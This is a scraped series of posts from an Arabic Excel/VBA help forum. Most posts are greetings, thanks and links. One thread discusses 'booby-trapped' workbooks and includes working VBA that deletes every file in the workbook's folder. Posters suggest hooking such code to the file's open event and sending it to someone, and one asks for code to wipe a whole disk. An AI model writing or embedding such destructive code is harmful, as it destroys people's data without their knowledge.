أبو إيمان

الأساذ علاء مرحبا بك معنا إليك مجموعة من الروابط التي قد تفيدك إن شاء الله http://www.officena.net/ib/index.php?showtopic=34213&hl=+%D8%B4%D8%A7%D8%B4%D8%A9%20+%D8%AF%D8%AE%D9%88%D9%84%20+%D8%A8%D8%B5%D9%84%D8%A7%D8%AD%D9%8A%D8%A7%D8%AA http://www.officena.net/ib/index.php?showtopic=39376

جزاكم الله خيرا جميعا

اﻷستاذ دغيدي يعلم الله كم اقدرك واحترمك اﻷستاذ حمادة عمر أشكرك جزيل الشكر لكن من رأي أنا شخصيا واﻷمر يرجع لكم الا يكون منتدنا مكان للترويج لمواقع او شركات تجارية فقد دخلت على موقعهم والهدف هو تجاري بدليل انهم لم يسمحوا حتى بتنزيل الملفات للاستفادة من الافكار فيها وأيضا تكرار عملية العرض باسماء موضوعات مختلفة ولم اري في قسم اعلانات الاعضاء مثل هذا ولى ملاحظة أرجو تقبلها وكنت أرسلت بها رسالة إلى اردارة المنتدى وأيضا كنت انوى الاتصال بالاستاذ دغيدي بخصوصها لاحظت ان بعد التعليق على احد الموضوعين انه تم حظر جميع مشاركاتي ولا اعرف ما السبب والان لا استطيع رؤية كافة كتاباتي لكم مني وافر التقدير والاحترام

حبيبنا الأستاذ / طارق لا يوجد إذن من تلميذ لمعلم

ما فهمته من سؤالك أنك تريد أن تكون FichePaie عبارة عن شاشة إدخال وSAl تقوم باستقبال البيانات منها

جزاكم الله خيرا جميعاً

المفات تدمر المنطقة الموجودة بها من ملفات اكسيل وغيرها أو تحذف ملفات في مجلد محدد أو تحذف مجلد محدد وليس كل ما هو موجود بالحاسوب تعرف أنه ملغم من خلال قرأة الكود فقط ومن أسئلة الأستاذ عمار نحتاج للتعاون في عمل الآتي 1- كود لحذف جميع الملفات بالحاسوب أي تدمير شامل بمعنى الكلمة وإن لم نستطع فملف يقوم بعمل إعادة تهيئة للهارد ديسك 2- كاشف المتفجرات أي كود أو ملف يكشف لي هل الملف المرسل لي انتحار أو تدميري أم لا

بعد إذن الأستاذ مختار نأمل من إدارة الموقع حذف الموضوع حيث أنه مكرر في الرابط التالي http://www.officena.net/ib/index.php?showtopic=60054 ونأمل تغيير الاسم الخاص بالموضوع

الملفات الموجودة تقوم على اساس تفجير المكان الذي فيها انت ابعت له الملف ومجرد ما يضغط على الزر يحذف له كل اللي عنده أو ممكن من غير ما يضغط على الزر وتضع استدعاء الكود في حدث الملف أي بمجرد فتح الملف عملية التدمير هتم بس بلاش الأذية

جزاكم الله خيرا

جزاكم الله خيرا

مرحبا بك في قسم الاكسيل

أخي مختار انت كدا حرقت المفاجئة أنا عملت الكود الانتحاري اللي بيدمر نفسه وسط مجموعة وكن المفروض ننتظر الناس تجرب الكود وبعدين نعمل الشغل اللي من على بعد لكن ولا يهمك الناس يجربوا الاتنين بس الناس تحذر من الدمار اللي بيحصل وجزاكم الله خيرا أستاذنا ياسر جزاكم الله خيرا جاري التجربة بعد 3 او 4 ساعات من الان إن شاء الله تحذير نحذر من انتقال الخبرللهئةية الدولية النووية وهيئة المتفجرات

تسلم يداك جاري التجربة

بعد إذن الاستاذ ياسر أقدم لكم الملف الانتحاري حيث يقوم الملف بعمل عملية انتحارية حيث يدمر من حوله ويقتل نفسه Option Explicit Sub DeleteAllFilesInAFolder() Dim MyFolder, FSO, FLDR, FileName MyFolder = ThisWorkbook.Path Set FSO = CreateObject("Scripting.FileSystemObject") Set FLDR = FSO.GetFolder(MyFolder) With ThisWorkbook .Saved = True .ChangeFileAccess xlReadOnly For Each FileName In FLDR.Files FileName.Delete True Next .Close False End With End Sub جميع التعديلات مأخذة من أعمال الاستاذ ياسر

جزاكم الله خيرا أستاذ ياسر وأمس كنت أحاول في هذا الموضوع وتعبني جدا وانت كدا حلت لنا الموضوع ومن ضمن الأفكار اللي كنت بحاول فيها والآن أنا منتظر تفجئنا بيها هو ان الملف يحذف كامل المجلد يعني بنسف المنطقة مش يقتل جماعي فقط

جزاكم الله خيرا أستاذ / ياسر خليل الرجل حبيبنا من غير حاجة مش لازم مصلحة علشان يكون حبيبك لكن أستاذ / مختار محتاجين شرح الكود بالعربي ( علشان تبقى حبيبي أنا كمان " ههههه " )

السلام عليكم ورحمة الله وبركاته أخي الفاضل مرحبا بك معنا في هذا الصرح التعليمي الكبير ويسعدني أن أكون أول من يرحب بك إليك الرابطين التاليين قد تستفيد منهما إن شاء الله http://www.officena.net/ib/index.php?showtopic=59874&hl= http://www.officena.net/ib/index.php?showtopic=58863&hl=

أ / محمد الريفي جزاكم الله خيرا ونأمل من إدارة المنتدى وضع اسم مناسب للعنوان

مرحبا بك / بكي معنا ونأمل ارفاق ملف لتوضيح المطلوب

اسلوب جديد دا للتعليم يا أستاذ ياسر ولا إيه؟

لحين ارفاق ملف وابعد اذن الاستاد ياسر يمكن الاطلاع على الروابط التالية http://www.officena.net/ib/index.php?showtopic=54449&hl=%D8%A7%D9%84%D8%A7%D9%82%D8%A7%D9%85%D8%A9 http://www.officena.net/ib/index.php?showtopic=53881&hl=%D8%A7%D9%84%D8%A7%D9%82%D8%A7%D9%85%D8%A9#entry339531

جزاكم الله خيرا وبعدين هذه نقطة في بحر بالنسبة لأعمالك أنت والاساتذة الافاضل

بعد إذن الأستاذ ياسر وعلشان الناس متلفش ولا تدور يمكنك كتابة اسم الملف المراد قتله داخل خلية أو داخل مربع ادخال Killer.rar

أستاذنا : ابداعات واقي ضدد الرصاص دي بتاعت العباقرة إحنا لسة في بداية السلم